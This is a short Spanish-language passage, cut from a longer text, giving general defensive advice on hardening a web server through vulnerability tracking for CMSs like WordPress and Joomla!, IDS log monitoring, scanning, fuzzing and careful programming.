obstaculizar el ejercicio de estos atacantes será
conocer cuáles son sus técnicas, mantenerse
actualizado regularmente de las vulnerabilidades
de nuestro entorno (Sistema Operativo,
Lenguaje, base de datos y módulos y librerías
asociados), en caso de ser un programa conocido
(como un WordPress, Joomla!, PostNuke)
mantenerse alerta a los bugs que,
altruistamente, algunos atacantes publican en
webs.
Además, con un sistema IDS que nos pueda ir
comunicando qué pasa con nuestros logs, la
evolución de estos mismos y la constante
evaluación de las vulnerabilidades de nuestro
sistema, junto con un escaneo automático,
técnicas fuzz y una programación sólida, y algún
módulo destinado a la seguridad harán de
nuestro servidor web una fortaleza (casi)
inexpugnable.